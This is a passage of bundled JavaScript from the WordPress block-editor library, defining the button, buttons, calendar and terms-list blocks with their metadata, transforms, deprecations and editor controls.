    editorStyle: "wp-block-button-editor",
    style: "wp-block-button",
    selectors: {
      root: ".wp-block-button .wp-block-button__link",
      typography: {
        writingMode: ".wp-block-button"
      }
    }
  };

  // packages/block-library/build-module/button/save.mjs
  var import_block_editor22 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime177 = __toESM(require_jsx_runtime(), 1);
  function save6({ attributes: attributes2, className }) {
    const {
      tagName,
      type,
      fontSize,
      linkTarget,
      rel,
      style: style2,
      text,
      title,
      url,
      width
    } = attributes2;
    const TagName2 = tagName || "a";
    const isButtonTag = "button" === TagName2;
    const buttonType = type || "button";
    const borderProps = (0, import_block_editor22.__experimentalGetBorderClassesAndStyles)(attributes2);
    const colorProps = (0, import_block_editor22.__experimentalGetColorClassesAndStyles)(attributes2);
    const spacingProps = (0, import_block_editor22.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor22.__experimentalGetShadowClassesAndStyles)(attributes2);
    const typographyProps = (0, import_block_editor22.getTypographyClassesAndStyles)(attributes2);
    const buttonClasses = clsx_default(
      "wp-block-button__link",
      colorProps.className,
      borderProps.className,
      typographyProps.className,
      {
        // For backwards compatibility add style that isn't provided via
        // block support.
        "no-border-radius": style2?.border?.radius === 0,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      },
      (0, import_block_editor22.__experimentalGetElementClassName)("button")
    );
    const buttonStyle = {
      ...borderProps.style,
      ...colorProps.style,
      ...spacingProps.style,
      ...shadowProps.style,
      ...typographyProps.style,
      writingMode: void 0
    };
    const wrapperClasses = clsx_default(className, {
      [`has-custom-width wp-block-button__width-${width}`]: width
    });
    return /* @__PURE__ */ (0, import_jsx_runtime177.jsx)("div", { ...import_block_editor22.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime177.jsx)(
      import_block_editor22.RichText.Content,
      {
        tagName: TagName2,
        type: isButtonTag ? buttonType : null,
        className: buttonClasses,
        href: isButtonTag ? null : url,
        title,
        style: buttonStyle,
        value: text,
        target: isButtonTag ? null : linkTarget,
        rel: isButtonTag ? null : rel
      }
    ) });
  }

  // packages/block-library/build-module/button/index.mjs
  var { fieldsKey: fieldsKey2, formKey: formKey2 } = unlock(import_blocks8.privateApis);
  var { name: name9 } = block_default10;
  var settings9 = {
    icon: button_default,
    example: {
      attributes: {
        className: "is-style-fill",
        text: (0, import_i18n14.__)("Call to action")
      }
    },
    edit: edit_default2,
    save: save6,
    deprecated: deprecated_default3,
    merge: (a2, { text = "" }) => ({
      ...a2,
      text: (a2.text || "") + text
    }),
    __experimentalLabel(attributes2, { context }) {
      const { text } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = text?.trim().length > 0;
      if (context === "list-view" && (customName || hasContent)) {
        return customName || text;
      }
      if (context === "breadcrumb" && customName) {
        return customName;
      }
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings9[fieldsKey2] = [
      {
        id: "text",
        label: (0, import_i18n14.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      },
      {
        id: "link",
        label: (0, import_i18n14.__)("Link"),
        type: "url",
        Edit: "link",
        // TODO: replace with custom component
        getValue: ({ item }) => ({
          url: item.url,
          rel: item.rel,
          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) => ({
          url: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      }
    ];
    settings9[formKey2] = {
      fields: ["text", "link"]
    };
  }
  var init9 = () => initBlock({ name: name9, metadata: block_default10, settings: settings9 });

  // packages/block-library/build-module/buttons/index.mjs
  var buttons_exports = {};
  __export(buttons_exports, {
    init: () => init10,
    metadata: () => block_default11,
    name: () => name10,
    settings: () => settings10
  });
  var import_i18n15 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/buttons/deprecated.mjs
  var import_block_editor23 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime178 = __toESM(require_jsx_runtime(), 1);
  var migrateWithLayout = (attributes2) => {
    if (!!attributes2.layout) {
      return attributes2;
    }
    const { contentJustification, orientation, ...updatedAttributes } = attributes2;
    if (contentJustification || orientation) {
      Object.assign(updatedAttributes, {
        layout: {
          type: "flex",
          ...contentJustification && {
            justifyContent: contentJustification
          },
          ...orientation && { orientation }
        }
      });
    }
    return updatedAttributes;
  };
  var deprecated3 = [
    {
      attributes: {
        contentJustification: {
          type: "string"
        },
        orientation: {
          type: "string",
          default: "horizontal"
        }
      },
      supports: {
        anchor: true,
        align: ["wide", "full"],
        __experimentalExposeControlsToChildren: true,
        spacing: {
          blockGap: true,
          margin: ["top", "bottom"],
          __experimentalDefaultControls: {
            blockGap: true
          }
        }
      },
      isEligible: ({ contentJustification, orientation }) => !!contentJustification || !!orientation,
      migrate: migrateWithLayout,
      save({ attributes: { contentJustification, orientation } }) {
        return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(
          "div",
          {
            ...import_block_editor23.useBlockProps.save({
              className: clsx_default({
                [`is-content-justification-${contentJustification}`]: contentJustification,
                "is-vertical": orientation === "vertical"
              })
            }),
            children: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(import_block_editor23.InnerBlocks.Content, {})
          }
        );
      }
    },
    {
      supports: {
        align: ["center", "left", "right"],
        anchor: true
      },
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime178.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime178.jsx)(import_block_editor23.InnerBlocks.Content, {}) });
      },
      isEligible({ align }) {
        return align && ["center", "left", "right"].includes(align);
      },
      migrate(attributes2) {
        return migrateWithLayout({
          ...attributes2,
          align: void 0,
          // Floating Buttons blocks shouldn't have been supported in the
          // first place. Most users using them probably expected them to
          // act like content justification controls, so these blocks are
          // migrated to use content justification.
          // As for center-aligned Buttons blocks, the content justification
          // equivalent will create an identical end result in most cases.
          contentJustification: attributes2.align
        });
      }
    }
  ];
  var deprecated_default4 = deprecated3;

  // packages/block-library/build-module/buttons/transforms.mjs
  var import_blocks10 = __toESM(require_blocks(), 1);
  var import_rich_text = __toESM(require_rich_text(), 1);

  // packages/block-library/build-module/utils/get-transformed-attributes.mjs
  var import_blocks9 = __toESM(require_blocks(), 1);
  function getTransformedAttributes(attributes2, newBlockName, bindingsCallback = null) {
    if (!attributes2) {
      return void 0;
    }
    const newBlockType = (0, import_blocks9.getBlockType)(newBlockName);
    if (!newBlockType) {
      return void 0;
    }
    const transformedAttributes = {};
    if ((0, import_blocks9.hasBlockSupport)(newBlockType, "anchor") && attributes2.anchor) {
      transformedAttributes.anchor = attributes2.anchor;
    }
    if ((0, import_blocks9.hasBlockSupport)(newBlockType, "ariaLabel") && attributes2.ariaLabel) {
      transformedAttributes.ariaLabel = attributes2.ariaLabel;
    }
    if (attributes2.metadata) {
      const transformedMetadata = [];
      if (bindingsCallback) {
        transformedMetadata.push("id", "bindings");
      }
      if (transformedMetadata.length > 0) {
        const newMetadata = Object.entries(attributes2.metadata).reduce(
          (obj, [prop, value]) => {
            if (!transformedMetadata.includes(prop)) {
              return obj;
            }
            obj[prop] = prop === "bindings" ? bindingsCallback(value) : value;
            return obj;
          },
          {}
        );
        if (Object.keys(newMetadata).length > 0) {
          transformedAttributes.metadata = newMetadata;
        }
      }
    }
    if (Object.keys(transformedAttributes).length === 0) {
      return void 0;
    }
    return transformedAttributes;
  }

  // packages/block-library/build-module/buttons/transforms.mjs
  var transforms2 = {
    from: [
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/button"],
        transform: (buttons) => (
          // Creates the buttons block.
          (0, import_blocks10.createBlock)(
            "core/buttons",
            {},
            // Loop the selected buttons.
            buttons.map(
              (attributes2) => (
                // Create singular button in the buttons block.
                (0, import_blocks10.createBlock)("core/button", attributes2)
              )
            )
          )
        )
      },
      {
        type: "block",
        isMultiBlock: true,
        blocks: ["core/paragraph"],
        transform: (buttons) => (
          // Creates the buttons block.
          (0, import_blocks10.createBlock)(
            "core/buttons",
            {},
            // Loop the selected buttons.
            buttons.map((attributes2) => {
              const { content } = attributes2;
              const element = (0, import_rich_text.__unstableCreateElement)(document, content);
              const text = element.innerText || "";
              const link = element.querySelector("a");
              const url = link?.getAttribute("href");
              return (0, import_blocks10.createBlock)("core/button", {
                ...attributes2,
                ...getTransformedAttributes(
                  attributes2,
                  "core/button",
                  ({ content: contentBinding }) => ({
                    text: contentBinding
                  })
                ),
                text,
                url
              });
            })
          )
        ),
        isMatch: (paragraphs) => {
          return paragraphs.every((attributes2) => {
            const element = (0, import_rich_text.__unstableCreateElement)(
              document,
              attributes2.content
            );
            const text = element.innerText || "";
            const links = element.querySelectorAll("a");
            return text.length <= 30 && links.length <= 1;
          });
        }
      }
    ]
  };
  var transforms_default2 = transforms2;

  // packages/block-library/build-module/buttons/edit.mjs
  var import_block_editor24 = __toESM(require_block_editor(), 1);
  var import_data12 = __toESM(require_data(), 1);
  var import_blocks11 = __toESM(require_blocks(), 1);
  var import_jsx_runtime179 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK = {
    name: "core/button",
    attributesToCopy: [
      "backgroundColor",
      "border",
      "className",
      "fontFamily",
      "fontSize",
      "gradient",
      "style",
      "textColor",
      "width"
    ]
  };
  function ButtonsEdit({ attributes: attributes2, className }) {
    const { fontSize, layout, style: style2 } = attributes2;
    const blockProps = (0, import_block_editor24.useBlockProps)({
      className: clsx_default(className, {
        "has-custom-font-size": fontSize || style2?.typography?.fontSize
      })
    });
    const { hasButtonVariations } = (0, import_data12.useSelect)((select9) => {
      const buttonVariations = select9(import_blocks11.store).getBlockVariations(
        "core/button",
        "inserter"
      );
      return {
        hasButtonVariations: buttonVariations.length > 0
      };
    }, []);
    const innerBlocksProps = (0, import_block_editor24.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK,
      // This check should be handled by the `Inserter` internally to be consistent across all blocks that use it.
      directInsert: !hasButtonVariations,
      template: [["core/button"]],
      templateInsertUpdatesSelection: true,
      orientation: layout?.orientation ?? "horizontal"
    });
    return /* @__PURE__ */ (0, import_jsx_runtime179.jsx)("div", { ...innerBlocksProps });
  }
  var edit_default3 = ButtonsEdit;

  // packages/block-library/build-module/buttons/block.json
  var block_default11 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/buttons",
    title: "Buttons",
    category: "design",
    allowedBlocks: ["core/button"],
    description: "Prompt visitors to take action with a group of button-style links.",
    keywords: ["link"],
    textdomain: "default",
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      __experimentalExposeControlsToChildren: true,
      color: {
        gradients: true,
        text: false,
        __experimentalDefaultControls: {
          background: true
        }
      },
      spacing: {
        blockGap: ["horizontal", "vertical"],
        padding: true,
        margin: ["top", "bottom"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: "flex"
        }
      },
      interactivity: {
        clientNavigation: true
      },
      listView: true,
      contentRole: true
    },
    editorStyle: "wp-block-buttons-editor",
    style: "wp-block-buttons"
  };

  // packages/block-library/build-module/buttons/save.mjs
  var import_block_editor25 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime180 = __toESM(require_jsx_runtime(), 1);
  function save7({ attributes: attributes2, className }) {
    const { fontSize, style: style2 } = attributes2;
    const blockProps = import_block_editor25.useBlockProps.save({
      className: clsx_default(className, {
        "has-custom-font-size": fontSize || style2?.typography?.fontSize
      })
    });
    const innerBlocksProps = import_block_editor25.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime180.jsx)("div", { ...innerBlocksProps });
  }

  // packages/block-library/build-module/buttons/index.mjs
  var { name: name10 } = block_default11;
  var settings10 = {
    icon: buttons_default,
    example: {
      attributes: {
        layout: {
          type: "flex",
          justifyContent: "center"
        }
      },
      innerBlocks: [
        {
          name: "core/button",
          attributes: { text: (0, import_i18n15.__)("Find out more") }
        },
        {
          name: "core/button",
          attributes: { text: (0, import_i18n15.__)("Contact us") }
        }
      ]
    },
    deprecated: deprecated_default4,
    transforms: transforms_default2,
    edit: edit_default3,
    save: save7
  };
  var init10 = () => initBlock({ name: name10, metadata: block_default11, settings: settings10 });

  // packages/block-library/build-module/calendar/index.mjs
  var calendar_exports = {};
  __export(calendar_exports, {
    init: () => init11,
    metadata: () => block_default12,
    name: () => name11,
    settings: () => settings11
  });

  // packages/block-library/build-module/calendar/block.json
  var block_default12 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/calendar",
    title: "Calendar",
    category: "widgets",
    description: "A calendar of your site\u2019s posts.",
    keywords: ["posts", "archive"],
    textdomain: "default",
    attributes: {
      month: {
        type: "integer"
      },
      year: {
        type: "integer"
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      color: {
        link: true,
        __experimentalSkipSerialization: ["text", "background"],
        __experimentalDefaultControls: {
          background: true,
          text: true
        },
        __experimentalSelector: "table, th"
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-calendar"
  };

  // packages/block-library/build-module/calendar/edit.mjs
  var import_components11 = __toESM(require_components(), 1);
  var import_data13 = __toESM(require_data(), 1);
  var import_server_side_render3 = __toESM(require_server_side_render(), 1);
  var import_block_editor26 = __toESM(require_block_editor(), 1);
  var import_core_data5 = __toESM(require_core_data(), 1);
  var import_i18n16 = __toESM(require_i18n(), 1);
  var import_compose9 = __toESM(require_compose(), 1);
  var import_jsx_runtime181 = __toESM(require_jsx_runtime(), 1);
  var getYearMonth = memize((date) => {
    if (!date) {
      return {};
    }
    const dateObj = new Date(date);
    return {
      year: dateObj.getFullYear(),
      month: dateObj.getMonth() + 1
    };
  });
  function CalendarEdit({ attributes: attributes2, name: name123 }) {
    const { date, hasPosts, hasPostsResolved } = (0, import_data13.useSelect)((select9) => {
      const { getEntityRecords, hasFinishedResolution } = select9(import_core_data5.store);
      const singlePublishedPostQuery = {
        status: "publish",
        per_page: 1
      };
      const posts = getEntityRecords(
        "postType",
        "post",
        singlePublishedPostQuery
      );
      const postsResolved = hasFinishedResolution("getEntityRecords", [
        "postType",
        "post",
        singlePublishedPostQuery
      ]);
      let _date;
      const editorSelectors = select9("core/editor");
      if (editorSelectors) {
        const postType = editorSelectors.getEditedPostAttribute("type");
        if (postType === "post") {
          _date = editorSelectors.getEditedPostAttribute("date");
        }
      }
      return {
        date: _date,
        hasPostsResolved: postsResolved,
        hasPosts: postsResolved && posts?.length === 1
      };
    }, []);
    const { content, status, error } = (0, import_server_side_render3.useServerSideRender)({
      attributes: {
        ...attributes2,
        ...getYearMonth(date)
      },
      block: name123
    });
    const disabledRef = (0, import_compose9.useDisabled)();
    const blockProps = (0, import_block_editor26.useBlockProps)({ ref: disabledRef });
    if (!hasPosts) {
      return /* @__PURE__ */ (0, import_jsx_runtime181.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Placeholder, { icon: calendar_default, label: (0, import_i18n16.__)("Calendar"), children: !hasPostsResolved ? /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Spinner, {}) : (0, import_i18n16.__)("No published posts found.") }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime181.jsxs)(import_jsx_runtime181.Fragment, { children: [
      status === "loading" && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(import_components11.Spinner, {}) }),
      status === "error" && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime181.jsx)("p", { children: (0, import_i18n16.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n16.__)("Error: %s"),
        error
      ) }) }),
      status === "success" && /* @__PURE__ */ (0, import_jsx_runtime181.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/calendar/transforms.mjs
  var import_blocks12 = __toESM(require_blocks(), 1);
  var transforms3 = {
    from: [
      {
        type: "block",
        blocks: ["core/archives"],
        transform: () => (0, import_blocks12.createBlock)("core/calendar")
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/archives"],
        transform: () => (0, import_blocks12.createBlock)("core/archives")
      }
    ]
  };
  var transforms_default3 = transforms3;

  // packages/block-library/build-module/calendar/index.mjs
  var { name: name11 } = block_default12;
  var settings11 = {
    icon: calendar_default,
    example: {},
    edit: CalendarEdit,
    transforms: transforms_default3
  };
  var init11 = () => initBlock({ name: name11, metadata: block_default12, settings: settings11 });

  // packages/block-library/build-module/categories/index.mjs
  var categories_exports = {};
  __export(categories_exports, {
    init: () => init12,
    metadata: () => block_default13,
    name: () => name12,
    settings: () => settings12
  });

  // packages/block-library/build-module/categories/block.json
  var block_default13 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/categories",
    title: "Terms List",
    category: "widgets",
    description: "Display a list of all terms of a given taxonomy.",
    keywords: ["categories"],
    textdomain: "default",
    attributes: {
      taxonomy: {
        type: "string",
        default: "category"
      },
      displayAsDropdown: {
        type: "boolean",
        default: false
      },
      showHierarchy: {
        type: "boolean",
        default: false
      },
      showPostCounts: {
        type: "boolean",
        default: false
      },
      showOnlyTopLevel: {
        type: "boolean",
        default: false
      },
      showEmpty: {
        type: "boolean",
        default: false
      },
      label: {
        type: "string",
        role: "content"
      },
      showLabel: {
        type: "boolean",
        default: true
      }
    },
    usesContext: ["enhancedPagination"],
    supports: {
      anchor: true,
      align: true,
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: "wp-block-categories-editor",
    style: "wp-block-categories"
  };

  // packages/block-library/build-module/categories/edit.mjs
  var import_components12 = __toESM(require_components(), 1);
  var import_compose10 = __toESM(require_compose(), 1);
  var import_block_editor27 = __toESM(require_block_editor(), 1);
  var import_html_entities2 = __toESM(require_html_entities(), 1);
  var import_i18n17 = __toESM(require_i18n(), 1);
  var import_core_data6 = __toESM(require_core_data(), 1);
  var import_data14 = __toESM(require_data(), 1);
  var import_notices2 = __toESM(require_notices(), 1);
  var import_jsx_runtime182 = __toESM(require_jsx_runtime(), 1);
  function CategoriesEdit({
    attributes: {
      displayAsDropdown,
      showHierarchy,
      showPostCounts,
      showOnlyTopLevel,
      showEmpty,
      label,
      showLabel,
      taxonomy: taxonomySlug
    },
    setAttributes,
    className,
    clientId
  }) {
    const selectId = (0, import_compose10.useInstanceId)(CategoriesEdit, "blocks-category-select");
    const { records: allTaxonomies, isResolvingTaxonomies } = (0, import_core_data6.useEntityRecords)(
      "root",
      "taxonomy",
      { per_page: -1 }
    );
    const taxonomies = allTaxonomies?.filter((t2) => t2.visibility.public);
    const taxonomy = taxonomies?.find((t2) => t2.slug === taxonomySlug);
    const isHierarchicalTaxonomy = !isResolvingTaxonomies && taxonomy?.hierarchical;
    const query = { per_page: -1, hide_empty: !showEmpty, context: "view" };
    if (isHierarchicalTaxonomy && showOnlyTopLevel) {
      query.parent = 0;
    }
    const { records: categories, isResolving } = (0, import_core_data6.useEntityRecords)(
      "taxonomy",
      taxonomySlug,
      query
    );
    const { createWarningNotice } = (0, import_data14.useDispatch)(import_notices2.store);
    const showRedirectionPreventedNotice = (event) => {
      event.preventDefault();
      createWarningNotice((0, import_i18n17.__)("Links are disabled in the editor."), {
        id: `block-library/core/categories/redirection-prevented/${clientId}`,
        type: "snackbar"
      });
    };
    const getCategoriesList = (parentId) => {
      if (!categories?.length) {
        return [];
      }
      if (parentId === null) {
        return categories;
      }
      return categories.filter(({ parent }) => parent === parentId);
    };
    const toggleAttribute = (attributeName) => (newValue) => setAttributes({ [attributeName]: newValue });
    const renderCategoryName = (name123) => !name123 ? (0, import_i18n17.__)("(Untitled)") : (0, import_html_entities2.decodeEntities)(name123).trim();
    const renderCategoryList = () => {
      const parentId = isHierarchicalTaxonomy && showHierarchy ? 0 : null;
      const categoriesList = getCategoriesList(parentId);
      return categoriesList.map(
        (category) => renderCategoryListItem(category)
      );
    };
    const renderCategoryListItem = (category) => {
      const childCategories = getCategoriesList(category.id);
      const { id, link, count, name: name123 } = category;
      return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)("li", { className: `cat-item cat-item-${id}`, children: [
        /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("a", { href: link, onClick: showRedirectionPreventedNotice, children: renderCategoryName(name123) }),
        showPostCounts && ` (${count})`,
        isHierarchicalTaxonomy && showHierarchy && !!childCategories.length && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("ul", { className: "children", children: childCategories.map(
          (childCategory) => renderCategoryListItem(childCategory)
        ) })
      ] }, id);
    };
    const renderCategoryDropdown = () => {
      const parentId = isHierarchicalTaxonomy && showHierarchy ? 0 : null;
      const categoriesList = getCategoriesList(parentId);
      return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(import_jsx_runtime182.Fragment, { children: [
        showLabel ? /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
          import_block_editor27.RichText,
          {
            className: "wp-block-categories__label",
            "aria-label": (0, import_i18n17.__)("Label text"),
            placeholder: taxonomy?.name,
            withoutInteractiveFormatting: true,
            value: label,
            onChange: (html) => setAttributes({ label: html })
          }
        ) : /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.VisuallyHidden, { as: "label", htmlFor: selectId, children: label ? label : taxonomy?.name }),
        /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)("select", { id: selectId, children: [
          /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("option", { children: (0, import_i18n17.sprintf)(
            /* translators: %s: taxonomy's singular name */
            (0, import_i18n17.__)("Select %s"),
            taxonomy?.labels?.singular_name
          ) }),
          categoriesList.map(
            (category) => renderCategoryDropdownItem(category, 0)
          )
        ] })
      ] });
    };
    const renderCategoryDropdownItem = (category, level) => {
      const { id, count, name: name123 } = category;
      const childCategories = getCategoriesList(id);
      return [
        /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)("option", { className: `level-${level}`, children: [
          Array.from({ length: level * 3 }).map(() => "\xA0"),
          renderCategoryName(name123),
          showPostCounts && ` (${count})`
        ] }, id),
        isHierarchicalTaxonomy && showHierarchy && !!childCategories.length && childCategories.map(
          (childCategory) => renderCategoryDropdownItem(childCategory, level + 1)
        )
      ];
    };
    const TagName2 = !!categories?.length && !displayAsDropdown && !isResolving ? "ul" : "div";
    const classes = clsx_default(
      className,
      `wp-block-categories-taxonomy-${taxonomySlug}`,
      {
        "wp-block-categories-list": !!categories?.length && !displayAsDropdown && !isResolving,
        "wp-block-categories-dropdown": !!categories?.length && displayAsDropdown && !isResolving
      }
    );
    const blockProps = (0, import_block_editor27.useBlockProps)({
      className: classes
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(TagName2, { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_block_editor27.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime182.jsxs)(
        import_components12.__experimentalToolsPanel,
        {
          label: (0, import_i18n17.__)("Settings"),
          resetAll: () => {
            setAttributes({
              taxonomy: "category",
              displayAsDropdown: false,
              showHierarchy: false,
              showPostCounts: false,
              showOnlyTopLevel: false,
              showEmpty: false,
              showLabel: true
            });
          },
          dropdownMenuProps,
          children: [
            Array.isArray(taxonomies) && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => {
                  return taxonomySlug !== "category";
                },
                label: (0, import_i18n17.__)("Taxonomy"),
                onDeselect: () => {
                  setAttributes({ taxonomy: "category" });
                },
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n17.__)("Taxonomy"),
                    options: taxonomies.map((t2) => ({
                      label: t2.name,
                      value: t2.slug
                    })),
                    value: taxonomySlug,
                    onChange: (selectedTaxonomy) => setAttributes({
                      taxonomy: selectedTaxonomy
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !!displayAsDropdown,
                label: (0, import_i18n17.__)("Display as dropdown"),
                onDeselect: () => setAttributes({ displayAsDropdown: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)("Display as dropdown"),
                    checked: displayAsDropdown,
                    onChange: toggleAttribute("displayAsDropdown")
                  }
                )
              }
            ),
            displayAsDropdown && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !showLabel,
                label: (0, import_i18n17.__)("Show label"),
                onDeselect: () => setAttributes({ showLabel: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    className: "wp-block-categories__indentation",
                    label: (0, import_i18n17.__)("Show label"),
                    checked: showLabel,
                    onChange: toggleAttribute("showLabel")
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !!showPostCounts,
                label: (0, import_i18n17.__)("Show post counts"),
                onDeselect: () => setAttributes({ showPostCounts: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)("Show post counts"),
                    checked: showPostCounts,
                    onChange: toggleAttribute("showPostCounts")
                  }
                )
              }
            ),
            isHierarchicalTaxonomy && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !!showOnlyTopLevel,
                label: (0, import_i18n17.__)("Show only top level terms"),
                onDeselect: () => setAttributes({ showOnlyTopLevel: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)("Show only top level terms"),
                    checked: showOnlyTopLevel,
                    onChange: toggleAttribute(
                      "showOnlyTopLevel"
                    )
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !!showEmpty,
                label: (0, import_i18n17.__)("Show empty terms"),
                onDeselect: () => setAttributes({ showEmpty: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)("Show empty terms"),
                    checked: showEmpty,
                    onChange: toggleAttribute("showEmpty")
                  }
                )
              }
            ),
            isHierarchicalTaxonomy && !showOnlyTopLevel && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
              import_components12.__experimentalToolsPanelItem,
              {
                hasValue: () => !!showHierarchy,
                label: (0, import_i18n17.__)("Show hierarchy"),
                onDeselect: () => setAttributes({ showHierarchy: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(
                  import_components12.ToggleControl,
                  {
                    label: (0, import_i18n17.__)("Show hierarchy"),
                    checked: showHierarchy,
                    onChange: toggleAttribute("showHierarchy")
                  }
                )
              }
            )
          ]
        }
      ) }),
      isResolving && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.Placeholder, { icon: pin_default, label: (0, import_i18n17.__)("Terms"), children: /* @__PURE__ */ (0, import_jsx_runtime182.jsx)(import_components12.Spinner, {}) }),
      !isResolving && categories?.length === 0 && /* @__PURE__ */ (0, import_jsx_runtime182.jsx)("p", { children: taxonomy.labels.no_terms }),
      !isResolving && categories?.length > 0 && (displayAsDropdown ? renderCategoryDropdown() : renderCategoryList())
    ] });
  }

  // packages/block-library/build-module/categories/variations.mjs
  var import_i18n18 = __toESM(require_i18n(), 1);
  var variations = [
    {
      name: "terms",
      title: (0, import_i18n18.__)("Terms List"),
      icon: category_default,
      attributes: {
        // We need to set an attribute here that will be set when inserting the block.
        // We cannot leave this empty, as that would be interpreted as the default value,
